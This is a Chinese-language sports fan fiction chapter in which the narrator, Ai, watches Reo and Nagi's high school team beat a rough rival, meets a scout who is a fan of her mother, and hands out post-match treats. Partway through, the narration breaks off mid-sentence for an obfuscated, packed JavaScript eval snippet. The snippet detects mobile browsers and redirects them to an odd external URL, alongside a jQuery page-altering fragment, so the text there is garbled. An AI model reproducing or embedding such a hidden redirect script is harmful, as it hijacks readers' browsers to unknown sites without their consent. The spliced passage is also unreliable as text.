屏幕上正在循环播放一个进球的慢动作回放。耀眼的金发在绿茵场上划过一道流光,冰蓝挑染的发尾在高速奔跑中甩动。凯撒如同精准的猎豹,在禁区边缘接到内斯一记手术刀般的直塞,面对出击的门将和两名后卫的封堵,他没有丝毫犹豫,身体以一种极其舒展又充满力量感的姿态打开,右脚外脚背狠狠地抽中下落的皮球! 足球划过一道违反直觉的、带着强烈外旋的诡异弧线,像被赋予了生命,绕过目瞪口呆的门将指尖,贴着远门柱内侧,狠狠砸进了球网!球网剧烈地颤抖着。 确实漂亮。带着一种冰冷的、计算到毫厘的优雅和绝对的自信。我点点头,客观评价:“很厉害的射门。力量和角度都完美。” “对吧对吧!”父亲更兴奋了,用力拍着我的肩膀,仿佛进球的是他自己,“我就说这小子前途无量!天生的杀手!这球感!这冷静!还有内斯那脚传球,时机、力道、穿透性,也是顶级!这俩小子搭档起来,啧啧,未来十年德国队的锋线有看头了!” 他越说越激动,唾沫星子都快溅到屏幕上,“爱!快!帮我问问亚历克西斯,凯撒这脚射门前的步点调整细节!还有内斯传球那瞬间,凯撒有没有给他什么特殊信号?眼神?手势?我得好好研究研究!” 我:“……” 又来了。凯撒研究狂魔模式启动。我认命地拿起手机,点开内斯的头像,开始组织语言。 *** 时间在笔尖划过纸面的沙沙声、手机键盘的敲击声以及偶尔传来的小丸子兴奋吠叫的视频背景音中悄然流逝。蝉鸣声从最初的声嘶力竭渐渐变得有气无力,宣告着漫长暑假的尾声。终于,高二新学期的开学日,裹挟着东京夏末依旧灼热的空气和崭新的课表,降临了。 白宝高中足球部活动室。午后的阳光透过高大的窗户,在地板上投下斜斜的光斑。空气中弥漫着旧皮革、消毒水和汗水混合的、独属于运动部的气息。巨大的收纳架上,分门别类地堆放着各种训练器材、药品、记录本和杂物。 “清点核对:训练背心,红蓝各十五件,无破损。”我拿着清单,用笔划掉一项,声音在空旷的部室里显得格外清晰。 “足球,标准训练用,二十个,充气正常。”御影玲王蹲在墙角的球筐边,修长的手指熟练地按压着足球,检查气阀,紫色的短发在光线下泛着健康的光泽。他动作利落,神情专注,属于部长的威严感自然流露。 “……嗯。”凪诚士郎有气无力的声音从旁边传来。他高大的身躯斜倚在另一排置物架上,像一株被强行移植的大型植物,散发着浓烈的“节能”和“想躺平”的气息。他手里象征性地拿着一本记录册,眼神放空,目光焦点不知道落在虚空中的哪个点。清点工作?显然大部分落在了我和玲王身上。 “绷带,运动胶布……”我继续念着清单,刚准备核对数量—— 活动室厚重的大门被无声地推开了一条缝隙。一个极其高大、存在感极强的身影悄无声息地走了进来,如同融入阴影的雕像。 来人正是御影玲王那位标志性的保镖——那位鼻梁高耸如女巫、眼神锐利如鹰隼、永远穿着笔挺正统西装的婆婆。她步伐沉稳,没有发出丝毫多余的声响,径直走到我们三人面前,站定。高大的身躯带来无形的压迫感,让原本就有些空旷的部室瞬间安静下来。连凪都懒洋洋地掀起眼皮,瞥了她一眼。 婆婆的目光平静无波,依次扫过我们,最终落在御影玲王身上。她微微躬身,动作一丝不苟,带着训练有素的恭敬,声音低沉而清晰地响起,如同古钟敲击: “玲王少爷。老爷让我转告您:青森县驮驮田高中的足球部发来了练习赛的邀请。时间定在下周末。” 她顿了顿,那双锐利的眼睛直视着玲王,仿佛在传达某种不容置疑的意志,“老爷的原话是:‘你是我的儿子,这样的比赛肯定能赢的对吧,玲王?这是我为你送上的礼物。’” “礼物?” 我和凪诚士郎几乎是同时转过头,视线齐刷刷地聚焦在御影玲王脸上。我的眉头下意识地蹙起。青森驮驮田?这个名字我有印象。不是因为他们技术多精湛,而是以作风极其野蛮、体能训练堪称地狱、球员个个如同黑熊精转世而“闻名遐迩”的足球流氓预备队。和他们踢练习赛?这算哪门子“礼物”?玲王的父亲,那位御影集团的掌舵人,我印象里是个笑容和煦、谈吐优雅的叔叔,虽然偶尔会流露出商界巨鳄的深不可测,但从未觉得他会如此……恶趣味? 玲王显然也愣住了。他缓缓站起身,手里还捏着一个刚检查完的足球。那张总是带着自信或从容表情的俊脸上,第一次清晰地浮现出一种混合着错愕、荒谬和被冒犯的复杂情绪。他紫罗兰色的眼眸微微睁大,看着婆婆,仿佛想确认自己是不是听错了。 婆婆依旧保持着微微躬身的姿势,平静地回视着他,眼神里没有任何波澜,仿佛只是在传递一句再普通不过的问候。 短暂的死寂后,玲王长长地、极其用力地吸了一口气,像是要把胸腔里那股突如其来的郁气都吸进去。他抬手,有些烦躁地抓了抓自己那头漂亮的紫色短发,将手里的足球随手丢回筐里,发出“砰”的一声闷响。 “哈……”他发出一声短促的、充满讽刺意味的嗤笑,嘴角勾起一个没什么温度的弧度,目光扫过我和凪,最终落回婆婆身上,声音带着压抑不住的恼火和浓浓的无奈,“这算哪门子的‘礼物’啊?老爷子他……” 他顿了顿,似乎在斟酌词句,最终化作一声更深的叹息,带着一种洞悉世事的疲惫,“……怕不是想用这种‘惊喜’来敲打敲打我,让我认清现实,早点放弃这个‘不务正业’的足球梦吧?” 他紫眸中掠过一丝锐利的光芒,那光芒里没有沮丧,反而燃烧起更加炽热的火焰。他挺直了背脊,那股属于御影家继承人的骄傲和属于足球少年的执着在他身上奇妙地融合,形成一种不容置疑的气势。 “但是!”玲王的声音陡然拔高,斩钉截铁,带着一种破釜沉舟的决绝,“我御影玲王,可不是这么容易就会被吓退的!” 他猛地伸出双臂,极其自然地、带着一种不容拒绝的强势,一把揽住了旁边依旧处于节能待机状态的凪诚士郎,另一只手则用力地、哥俩好似的拍了拍我的肩膀! 我和凪被他这突如其来的“勾肩搭背”弄得身体同时一僵。凪更是被他揽得一个趔趄,差点撞到置物架,半睁着的黑眼睛里终于浮现出清晰的“好麻烦”三个大字。 “这种小挑战!”玲王无视了凪的抗议和我肩膀传来的微痛,紫眸中燃烧着熊熊的斗志和自信的光芒,声音洪亮地在部室里回荡,像是在对婆婆宣告,更像是在对自己、对我们宣誓,“我接了!凪!爱!有你们在,管他什么驮驮田还是驮驮牛,统统碾过去!” 他松开我们,上前一步,正对着婆婆,脸上重新挂起那属于“白宝王子”的、无可挑剔的、却带着强烈锋芒的笑容:“婆婆,回去告诉父亲:这份‘礼物’,我收下了!下周末,等着看结果吧!” 婆婆那如同石刻般的脸上,似乎极其细微地动了一下。她深深地看了玲王一眼,那眼神里似乎掠过一丝难以察觉的……赞许?随即,她再次微微躬身:“明白了,玲王少爷。您的答复,我会如实转告老爷。” 说完,她不再停留,转身,迈着无声却有力的步伐,如来时一般悄无声息地离开了部室,厚重的门在她身后轻轻合拢。 部室里重新恢复了安静,只剩下玲王略显急促的呼吸声,以及凪那仿佛劫后余生般的、长长的一声叹息。 “……麻烦。”凪慢吞吞地直起身,整理了一下被玲王弄皱的衣领,那双没什么波澜的黑色眼睛看向玲王,又慢悠悠地转向我,吐出了两个字,“……加钱。” 我被他这神来一笔噎得差点一口气没上来。都什么时候了,这家伙脑子里还惦记着这个? “柠檬茶。”凪补充道,语气平板得像在陈述“地球是圆的”,“要冰的。三箱。” 他甚至伸出了三根骨节分明的手指,在我眼前晃了晃。 “……” 我看着他脸上那副“理所当然”的表情,再看看旁边因为凪的“拆台”而瞬间垮下脸、紫眸里写满“你这家伙能不能有点志气”的玲王,只觉得又好气又好笑。刚才被玲王父亲那番操作激起的些许凝重感,瞬间被这活宝冲得七零八落。 “行行行,”我没好气地挥挥手,像赶苍蝇一样,“买买买!三箱!冰的!训练结束就送到你面前!” 反正御影家的赞助经费充足得很,这点饮料钱九牛一毛。 凪的嘴角似乎极其轻微地向上扯动了一下,快得如同错觉。但他显然并不满足,那双半睁着的黑眼睛眨了眨,慢悠悠地再次开口:“……还有……” “还有?!” 我眼疾手快,在他那“最新款游戏卡带”或者“一个月代写作业”之类的离谱要求出口之前,一个箭步上前,伸手精准地捂住了他的嘴! “呜……” 凪被我捂得猝不及防,高大的身躯微微后仰,那双总是没什么焦点的黑色眼睛瞬间睁大了几分,里面清晰地映出我带着“杀气”的脸。他试图挣扎,发出含糊不清的呜咽。 玲王在旁边看得目瞪口呆,随即“噗嗤”一声笑了出来,刚才的郁闷一扫而空,紫眸里充满了幸灾乐祸的光芒:“干得漂亮,爱!对付这种得寸进尺的家伙,就该这样!” “闭嘴!玲王!你也好不到哪去!”我头也不回地怼了他一句,手上力道丝毫不敢松,恶狠狠地瞪着凪,“三箱柠檬茶!冰的!成交!敢再多说一个字,一箱都没有!而且,”我凑近他,压低声音,带着威胁,“下周训练量,我让玲王给你翻倍!” 凪那挣扎的动作瞬间僵住。他看着我近在咫尺的、写满“说到做到”的眼睛,又感受了一下嘴上那不容置疑的力道,那双黑色的瞳孔里清晰地闪过一丝权衡利弊的……认命?他眨了眨眼,长长的白色睫毛扫过我的掌心,带来一丝微痒。然后,他极其轻微地点了点头。 我这才慢慢松开手,警惕地盯着他。凪抬手抹了抹嘴角,没什么表情地看了我一眼,慢吞吞地吐出两个字:“……成交。” 说完,他转过身,重新把自己“卸”回刚才的置物架旁,继续神游天外去了,仿佛刚才那场“讨价还价”从未发生。 我和玲王对视一眼,都从对方眼中看到了深深的无奈和一丝……习以为常的纵容。有凪诚士郎在的地方,再严肃的气氛也能瞬间跑偏。 *** 时间在紧张的备战和凪时不时“电量不足”的节能抗议中飞快流逝。转眼就到了与青森驮驮田高中练习赛的日子。 比赛地点定在东京都内一个设施中等的市民球场。白宝高中足球部的大巴抵达时,对方球队已经先一步到了,正在球场一侧的热身区活动。 甫一下车,一股无形的、充满压迫感的气息就扑面而来。 青森驮驮田的队员,正如传闻中那般——清一色的黝黑皮肤,在九月初依旧灼热的阳光下泛着油亮的光泽。肌肉虬结,块头惊人,仿佛不是来踢球的,而是来参加相扑比赛或者健美先生选拔。他们正在进行热身,动作大开大合,充满了原始的力量感,每一次高抬腿、每一次俯卧撑都带着沉闷的力道,脚下的草皮似乎都在呻吟。粗重的喘息声和肌肉绷紧时发出的细微“咯吱”声,隔着半个球场都隐约可闻。 领头的是一个剃着极短寸头、身高接近一米九的壮硕男生。他正双手叉腰,像巡视领地的黑熊一样,目光毫不掩饰地扫视着刚刚下车的白宝队员。当他的视线掠过身材相对“纤细”的白宝球员,尤其是看到玲王那头醒目的紫发和凪那副懒洋洋、仿佛没睡醒的样子时,嘴角咧开一个毫不掩饰的、充满轻蔑和挑衅的弧度。他抬起下巴,用足以让全场听到的粗嘎嗓音喊道: “喂!东京的少爷们!准备好被我们驮驮田的‘热情’碾碎了吗?这软绵绵的草皮,可经不起你们哭鼻子打滚啊!哈哈哈哈哈!” 他身后的队员们立刻爆发出哄堂大笑,充满了野性的嘲弄。 白宝的队员们脸色瞬间变得有些难看。玲王脸上的笑容却丝毫未变,只是那双紫罗兰色的眼眸深处,瞬间凝结了一层冰霜。他分开挡在身前的队员,迈着从容的步伐走上前,一直走到距离那个寸头壮汉只有几步远的地方才停下。玲王的身高在高中生里算鹤立鸡群,但在对方面前,还是显得“纤细”了些。然而,他身上散发出的那种属于顶级财阀继承人的矜贵气场和此刻冰冷的锐意,却丝毫不落下风。 “碾碎?”玲王微微歪了歪头,嘴角勾起一个极其漂亮、却毫无温度的弧度,声音清晰而平稳,带着一种居高临下的审视,“话别说得太满,青森的……舐冈同学(Shioka)?是叫这个名字吧?” 他精准地点出了对方队长的姓氏,显然做过功课,“足球是用脚踢的,不是用嘴吹的。当心风太大,先把你这张只会放狠话的脸吹成猪头。” 他顿了顿,目光扫过对方那些肌肉虬结的队员,语气带着一丝毫不掩饰的嘲讽,“至于哭鼻子打滚?放心,那是失败者的特权。我们白宝,只负责送对手回家的时候,帮他们擦擦眼泪。” 一番话,彬彬有礼,却字字带刺,像淬了毒的冰针。白宝队员这边顿时士气一振,刚才的憋屈一扫而空,甚至有人低低地笑出声。而对面,舐冈了(Shioka Ryo)那张黝黑的脸瞬间涨成了酱紫色,额角青筋暴跳,拳头捏得咯咯作响,显然被气得不轻。他身后的队员们也瞬间收起了哄笑,一个个怒目而视,气氛瞬间变得剑拔弩张。 “你……!” 舐冈了几乎要冲上来。 “好了好了!双方队长!注意赛前礼仪!”裁判及时介入,板着脸挡在了两人中间,严厉的目光扫过双方,“热身时间结束!准备入场!” 一场可能的冲突被暂时压下。玲王对着舐冈了露出一个标准的、带着胜利意味的假笑,转身带着白宝队员走向己方半场。凪慢吞吞地跟在最后,路过舐冈了身边时,那双半睁着的黑眼睛似乎极其短暂地瞥了他一眼,眼神里是纯粹的“好吵”和“麻烦”,然后毫不在意地移开,仿佛对方只是一团碍事的空气。这无声的漠视,比玲王犀利的言辞更让舐冈了抓狂。 比赛正式开始。 青森驮驮田的风格简单粗暴到了极致——人盯人!极其凶狠、近乎搏斗式的人盯人!尤其是对玲王和凪这两个核心球员。他们仗着超强的身体素质和近乎野蛮的冲撞,像一群红了眼的斗牛,用肌肉和体重进行着最原始的绞杀。每一次拼抢都伴随着沉闷的撞击声和草皮被粗暴铲起的碎屑。他们的战术意图极其明确:用身体对抗打乱白宝的节奏,用不断的犯规和压迫消耗对手的体力,尤其要掐死玲王和凪之间的联系! 开场十分钟,白宝踢得极其艰难。技术流的细腻配合在对方野蛮的肌肉森林里寸步难行。玲王几次试图组织进攻,都被对方两三个壮汉围堵、冲撞得踉踉跄跄。凪更是被重点照顾的对象,那个负责盯防他的驮驮田中后卫,身高体型甚至比凪还大上一圈,像一堵移动的黑色肉墙,几乎寸步不离地贴着他,每一次身体接触都带着要将凪撞散架的力道。 看台上,随队而来的白宝啦啦队(玲王的后援团)和少数观众看得心惊肉跳,惊呼声不断。驮驮田的支持者们则发出震天的吼声,为每一次凶狠的抢断叫好。 我坐在距离替补席不远处的观众台阶上。九月的阳光依旧有些灼人,台阶被晒得发烫。我身边放着一个鼓鼓囊囊的运动背包,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251816|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装着给玲王和凪准备的补充电解质的功能饮料、能量胶和干净的毛巾。目光紧紧追随着场上那两个被黑色人潮不断挤压的紫色和白色身影,手心微微沁出了汗。 就在我全神贯注地盯着场上又一次激烈的边路拼抢时,一阵清脆的、节奏稳定的高跟鞋敲击水泥台阶的声音,由远及近,停在了我身边稍下方一级的位置。 我下意识地侧过头。 来人是一位年轻女性。身材纤细匀称,穿着剪裁合体的白色职工裙装,脚下是一双黑色的尖头高跟鞋,显得干练又利落。她有着一头长度及肩的褐红色中短发,发尾打理得干净利落。此刻,她正微微仰着头,那双同样色泽的、如同融化枫糖般的褐红色眼睛,正一眨不眨地看着我,眼睛里闪烁着一种极其明亮、极其专注、甚至带着点难以置信的光芒。 她的目光在我脸上逡巡,带着一种小心翼翼的探究和巨大的惊喜。她的个子不算高,大概比我矮上几公分,但那份由内而外散发出的沉稳和干练气场,却让人无法忽视。 就在我被她看得有些莫名时,她开口了,声音清脆悦耳,带着一丝不易察觉的激动: “请问……你是清田美纪的女儿吗?” 清田美纪。母亲的名字。 我微微一怔,瞬间明白了对方眼神中那巨大惊喜的来源。我点点头:“是的。您认识我母亲?” “啊!真的是!”她脸上的笑容瞬间绽放开来,如同盛开的枫叶,带着纯粹的喜悦和激动,“我是帝襟安里(Teieri Anri)!你母亲的忠实球迷!从她还在日视美人队(MTV Tokyo Verdy Beleza)效力时就一直关注她了!” 她的语速因为兴奋而加快,褐红色的眼眸亮得惊人,“2011年德国女足世界杯!决赛对阵美国队!伤停补时最后时刻!你母亲在禁区外接队友头球摆渡,那记凌空抽射!球像炮弹一样直挂死角!绝杀!帮助日本队第一次捧起世界杯冠军奖杯!那个进球!我永远都忘不了!太帅了!简直是神之一脚!” 她的描述充满激情,仿佛那激动人心的画面就在眼前重现。那份发自内心的崇拜和时隔多年依旧澎湃的热情,让人动容。作为女儿,听到别人如此真诚而热烈地赞美自己的母亲,心底也涌起一股暖流和自豪感。 “谢谢您对我母亲的喜爱。”我微笑着回应,语气真诚,“那个进球,确实是她职业生涯的代表作之一。” 家里收藏着那场比赛的录像带和无数相关报道,母亲偶尔提起时,语气虽然平淡,但眼底深处依旧有光。 “没想到能在这里遇到她的女儿!真是太巧了!”帝襟安里依旧难掩激动,她看了看我,又看了看场上正在进行的、充斥着肌肉碰撞和粗野犯规的比赛,目光在我放在旁边的运动背包上扫过,“你是……白宝高中的经理?” “嗯,算是吧。”我点点头,指了指场上,“朋友在队里。” “原来如此。”帝襟安里了然地点点头,随即像是想起了什么,脸上露出一丝职业化的、带着点歉意的微笑,“其实我今天来这里,也是工作的一部分。考察一下……嗯,看看有没有什么值得关注的年轻球员。不过具体内容,涉及一些机密,不太方便透露。” 我心中闪过一丝了然。看来这位母亲的热血球迷,身份并不简单。 “没关系,理解。”我表示不在意,目光重新投向场上。比赛已经进行到二十分钟左右,白宝依旧被压制,场面沉闷而混乱。我拍了拍身边空着的台阶——上面垫着我带来的一条备用毛巾:“帝襟小姐不嫌弃的话,可以坐这里看?虽然比赛可能……不太好看。” 我实话实说,以驮驮田这种打法,观赏性确实为零。 “啊!谢谢!”帝襟安里有些意外,随即露出一个更加真诚的笑容,“那就打扰了。” 她动作利落地在我身边坐下,风衣下摆划过一道优雅的弧度。她的坐姿很端正,目光却已经像探照灯一样,重新投向了绿茵场,带着职业球探特有的专注和审视。 *** 就在我和帝襟安里坐下后不久,场上的局势,在看似无解的肌肉绞杀中,悄然发生了转变。 青森驮驮田的逼抢依旧凶狠,但玲王和凪,这对被对方视为最大威胁的组合,开始展现出他们恐怖的、足以颠覆力量对比的天赋。 玲王不再执着于在中场与对方硬碰硬地组织。他利用自己开阔的视野和敏锐的洞察力,像一个冷静的战场指挥官,主动后撤,开始用精准的长传调度来撕扯对方看似密不透风的防线。他的传球如同精确制导的导弹,总能找到对方防守阵型转换时那一闪即逝的空隙! 而凪诚士郎,这个被肉山死死贴住的“节能怪物”,仿佛终于被对方不断的冲撞和玲王精准的传球激活了某种开关。 一次驮驮田的进攻被白宝后卫勉强解围,球飞向中场左侧,落点并不好。负责盯防凪的那个巨大中后卫狞笑着,用身体死死卡住凪的身位,准备用蛮力将他挤开,然后轻松拿到球权。 就在他全身力量压上、准备像推土机一样碾过去的瞬间,凪动了! 他的动作幅度小得几乎难以察觉!肩膀只是极其轻微地向后一缩,卸掉了对方大半的冲撞力,同时脚下步伐如同鬼魅般交错!那庞大的身躯以一种与体型完全不符的、近乎诡异的柔韧性和平衡感,瞬间完成了重心转换!他像一株被狂风吹拂却瞬间扎根的巨树,不仅没有被撞开,反而借着对方前冲的势头,巧妙地完成了转身! 足球恰好落下。 凪甚至没有抬头看球!仿佛球的位置早已刻印在他的空间感知里!他只是随意地抬起左脚外脚背,轻轻一垫! 啪! 一声轻响。那粒原本轨迹混乱的足球,如同被施了魔法,瞬间改变了方向,乖巧地、精准地弹向中路一片巨大的空档区域!而那里,正是玲王刚才长传调度时,用眼神和跑位无声引导出的、对方防线被短暂拉扯开的致命缺口! 玲王的身影如同紫色的闪电,早已启动!他心领神会,在凪触球的瞬间就已经预判到了落点!他高速插上,在对方后卫惊愕绝望的目光中,轻松卸下这记如同手术刀般精准的传球! 单刀! 玲王带球长驱直入,面对出击的门将,冷静地一脚推射! 足球应声入网! 1:0! 整个过程行云流水,从凪那不可思议的卸力转身、妙到毫巅的凌空一垫,到玲王心有灵犀的跑位接应、冷静的终结,配合得天衣无缝!如同最精密的仪器在瞬间完成了复杂的联动!将对方看似坚不可摧的肌肉防线,视若无物! “哇哦!” 坐在我身边的帝襟安里,几乎是下意识地发出一声短促的惊呼!她猛地坐直了身体,褐红色的眼眸瞬间睁大,里面充满了难以置信的震惊和巨大的惊喜!她之前那种职业化的、带着审视的平静表情彻底被打破,取而代之的是一种发现稀世珍宝般的狂喜! 她甚至无意识地抓住了我的手臂,力道不小,声音因为激动而微微发颤:“看到了吗?那个白头发的!7号!我的天!刚才那个处理球!那个空间感!那种举重若轻!简直是……怪物!天生的进攻核心!还有那个紫头发的10号!他们的默契!太可怕了!这哪里是高中生?!” 她的目光死死锁定在场上正被队友簇拥庆祝的凪和玲王身上,尤其是凪!那眼神,灼热得仿佛要将他穿透!之前的考察任务似乎已经被她抛到了九霄云外,此刻她的世界里,只剩下那个刚刚用一脚“节能”到极致却又惊艳绝伦的传球,颠覆了她所有认知的白发少年! 场边,凪诚士郎正慢吞吞地往回走,脸上依旧没什么表情,仿佛刚才那记神来之笔只是随手拍掉了一只苍蝇。玲王则大笑着跑过来,用力拍着他的背,紫眸里燃烧着兴奋的光芒,似乎在说着什么。阳光洒在他们身上,一个耀眼如紫藤怒放,一个沉静如雪山初融。 帝襟安里紧紧抓着我的手臂,褐红色的眼眸一眨不眨,里面翻涌着惊涛骇浪。她另一只手里握着的、喝了一半的矿泉水瓶,不知何时已经倾斜,晶莹的水流无声地流淌出来,浸湿了台阶,她却浑然不觉。 她的目光,如同最精准的探针,牢牢锁定了那个巨大的、白色的、仿佛永远睡不醒的身影。 17. 足协 他们赢了。 终场哨响的瞬间,比分定格在3:1。玲王那记手术刀般的直塞助攻凪梅开二度,彻底杀死了比赛。白宝的队员们爆发出劫后余生般的欢呼,互相拍打着肩膀和后背,汗水混合着草屑,在阳光下闪闪发光。青森驮驮田的巨汉们则如同泄了气的皮球,一个个瘫倒在草皮上,舐冈了更是脸色铁青,死死盯着记分牌,仿佛要把那刺眼的数字瞪穿。 “呼……” 我长长地舒了一口气,一直悬着的心终于落回实处。赢了。虽然过程充斥着肌肉碰撞和粗野的犯规,但结果无可争议。玲王和凪,用他们天才般的配合和关键时刻的爆发,硬生生撕开了那片蛮力的丛林。 身边的帝襟安里几乎是同时站了起来。她的动作快得惊人,褐红色的眼眸里还残留着刚才见证凪那记匪夷所思的挑射破门时的巨大震撼,但更多的是一种被点燃的、近乎狂热的兴奋。她甚至没顾上和我告别,只是语速极快地、带着掩饰不住的激动对我说:“抱歉清田小姐!我有非常紧急的事情必须处理!今天能遇到你真是太荣幸了!代我向令堂问好!她的球衣我一直珍藏着!” 话音刚落,她已经像一阵风似的冲下了台阶,高跟鞋在水泥地上敲出一串急促而清脆的声响。 她一边疾走,一边迅速从精致的公文包里掏出手机贴到耳边。距离有些远,球场又喧闹,我完全听不清她在说什么,只看到她褐红色的短发在风中飞扬,侧脸线条绷紧,神情是那种职业猎手终于锁定目标后的全神贯注和势在必得。她的目标,不言而喻。 我收回目光,并不在意。每个人都有自己追逐的东西,就像玲王追逐他的世界杯,凪追逐他的终极躺平。只是心里隐隐觉得,那个白发节能怪平静的日子,怕是要被这位风风火火的“母亲球迷”搅起不小的波澜了。 刚把视线重新投向场内,就看到两个熟悉的身影正拨开簇拥的队友,径直朝我所在的观众席跑来。 跑在前面的是御影玲王。他那头标志性的紫发被汗水浸得有些深,几缕湿漉漉地贴在光洁的额角和脸颊边,却丝毫无损他此刻的意气风发。紫罗兰色的眼眸亮得惊人,如同燃烧的星辰,里面盛满了胜利的喜悦和少年人毫不掩饰的炫耀欲。白色的球衣沾满了草渍和泥土,胸口随着急促的呼吸剧烈起伏着,整个人像一把刚刚出鞘、锋芒毕露的利剑。 “爱!爱!看到了吗?!”他人还没到,兴奋的声音已经穿透了喧闹,带着灼热的温度扑面而来,“最后那个球!凪那家伙!简直神了!我传过去的时候就知道他能停住!还有我那个直塞!看到了吗?角度!时机!完美!还有上半场那次反击配合!那个长传调度!是不是帅呆了?!” 他像一只急于展示华丽尾羽的孔雀,迫不及待地在我面前停下,微微喘着气,眼睛一眨不眨地盯着我,脸上是那种“快夸我快夸我”的、几乎要溢出来的期待。 紧随其后的是凪诚士郎。相比起玲王的热火朝天,他简直像刚从冰箱里拎出来。高大的身躯迈着慢吞吞的步子,白色的头发也汗湿了,有几缕软软地垂在眼前。那张俊脸上依旧是标志性的无精打采,只有微微泛红的脸颊和同样急促的呼吸昭示着他刚刚经历了一场激烈的鏖战。他走到玲王旁边,像一根巨大的白色立柱般“卸”了下来,半睁着的黑眼睛没什么焦点地扫过我,然后慢悠悠地落在我脚边的运动背包上,眼神里透露出一种无声的、对“补给”的渴望。 “嗯,看到了。”我忍着笑意,迎上玲王那双亮得惊人的紫眸,语气肯定,“很精彩。玲王的长传和视野,凪的停球和终结,都无可挑剔。特别是面对那种身体对抗,还能保持冷静找到配合的缝隙,很了不起。” 我说的都是实话。他们今天的表现,尤其是最后那两个进球,确实配得上任何赞美。 玲王脸上的笑容瞬间放大,带着一种纯粹的、孩子气的满足感。他用力地点点头:“对吧!我就知道爱肯定懂!” 那副骄傲又带着点依赖的样子,让人很难把他和刚才场上那个指挥若定、言语犀利的队长联系起来。 我弯腰从背包里拿出准备好的东西。先是两瓶补充电解质的冰镇运动饮料,递给玲王和凪一人一瓶。“先补充点水分和电解质。” 玲王接过去,拧开盖子仰头就灌了一大口,喉结滚动,发出满足的叹息。凪则是慢吞吞地拧开,小口小口地抿着,眼神依旧黏在我的背包上。 接着,我变魔术似的掏出了三瓶——不,是三大瓶!——冰镇得瓶身都凝着水珠的柠檬茶!瓶身上那熟悉的黄色标签在阳光下格外醒目。我一股脑塞进凪怀里。 凪那双原本没什么波澜的黑眼睛,在看到柠檬茶的瞬间,像被投进石子的湖面,极其清晰地亮了一下!他几乎是本能地伸出双臂,稳稳地、珍而重之地接住了那三瓶冰凉的饮料,抱了个满怀。那巨大的满足感让他微微眯起了眼睛,嘴角极其轻微地向上弯起一个几乎看不见的弧度,像一只终于被投喂了心爱罐头的大猫。 “……嗯。”他发出一个带着鼻音的、心满意足的短促音节,把脸贴了贴冰凉的瓶身,然后才慢吞吞地把其中一瓶夹在腋下,腾出手去拧另一瓶的盖子。 “瞧你这点出息!”玲王在旁边看得直翻白眼,没好气地吐槽,但语气里却没什么真正的嫌弃,反而带着点纵容的笑意。 最后,我从背包最底下,小心翼翼地拿出一个保温效果极好的密封餐盒。盒子不大,但入手沉甸甸的,还带着一丝微弱的凉意。我打开盒盖,一股混合着顶级油脂香气和淡淡果木熏烤味道的气息瞬间飘散出来,霸道地盖过了球场的汗水和草皮味。 餐盒里,整整齐齐地码放着几块切得厚薄均匀、呈现完美玫瑰粉色的……肉。肉的边缘带着漂亮的焦化层,细腻的雪花纹理如同艺术品般均匀分布,中心部位则是诱人的半透明感。正是玲王心心念念的、来自冲绳石垣岛的顶级和牛の臀尖肉,经过精准的低温慢煮和快速炙烤锁住汁水,此刻正散发着令人垂涎欲滴的光芒。 玲王的目光在接触到那抹诱人粉色的瞬间就凝固了。他手里的运动饮料瓶都忘了放下,紫罗兰色的眼睛猛地睁大,里面写满了毫不掩饰的震惊和巨大的惊喜!“这、这是……石垣牛的臀尖肉?!” 他的声音因为激动而微微拔高,带着难以置信的颤抖。 “嗯,”我点点头,把餐盒连同一次性餐具递给他,“凯旋的犒赏。趁凉。” “爱!你简直是天使!”玲王几乎是抢一样接过餐盒,动作快得带起一阵风。他完全顾不上什么“白宝王子”的优雅形象了,直接用手(幸好刚才灌饮料时擦了擦)拈起一块最厚实、雪花最漂亮的肉块。那小心翼翼又迫不及待的样子,仿佛捧着什么稀世珍宝。 他张开嘴,带着一种近乎虔诚的神情,一口咬了下去! 瞬间,玲王的紫眸像是被点亮了无数盏小星星!他满足地、长长地“嗯——”了一声,那声音带着鼻音,尾调上扬,充满了极致的幸福感。饱满丰腴的肉汁在他口中瞬间爆开,顶级和牛特有的、如同奶油般细腻柔滑的脂肪在舌尖融化,混合着淡淡的果木烟熏香气和恰到好处的盐味,形成一股汹涌澎湃的味觉洪流,瞬间席卷了他所有的感官。肉的纤维感被完美处理得几乎不存在,只剩下极致的软嫩和油脂的甘美。 “唔……太、太好吃了……”玲王含糊不清地嘟囔着,因为嘴里塞满了肉,脸颊都微微鼓起,像一只幸福的仓鼠。他完全沉浸在美食带来的巨大满足感中,连眼角眉梢都荡漾着纯粹的快乐,刚才比赛的疲惫和与父亲较劲的复杂情绪似乎都被这口肉彻底治愈了。 凪抱着他的三瓶柠檬茶,慢悠悠地吸溜着,那双没什么焦点的眼睛瞥了一眼沉浸在肉食天堂、表情管理彻底失控的玲王,又慢吞吞地转向我,吐出一句平板无波的评价:“……玲王,好像笨蛋。” “闭嘴!凪!你懂什么!这是天堂的滋味!”玲王一边努力咀嚼吞咽,一边抽空瞪了凪一眼,但语气里毫无威慑力,只有满满的幸福感。他很快又拈起第二块肉,这次稍微斯文了点(但也没斯文多少),再次投入战斗。 我看着眼前这反差巨大却又莫名和谐的一幕——抱着柠檬茶如同抱着全世界、节能模式全开的凪,和因为一口顶级牛肉就幸福得冒泡、形象全无的玲王——心底那点因为驮驮田粗野打法带来的最后一丝不快也烟消云散了。阳光暖暖地洒在身上,带着比赛结束后特有的松弛感。 等玲王风卷残云般消灭掉餐盒里所有的肉(并极其满足地舔了舔沾着肉汁的手指),两人又补充了些水分。玲王脸上那过度幸福的红晕还没完全褪去,整个人显得容光焕发。 “我们去冲个澡换衣服,”玲王指了指不远处的球员更衣室方向,又看了看我,“爱,你在这里等我们一下?很快就好。待会儿一起走?” “好。”我点头应下。 玲王拉着依旧一脸“好麻烦,想直接躺平”的凪走向更衣室。我则收拾好空餐盒和饮料瓶,重新坐回台阶上。球场的人已经散了大半,只剩下工作人员在清理场地。午后的阳光斜斜地照过来,带着一种慵懒的暖意。微风拂过,带着青草和泥土的气息。 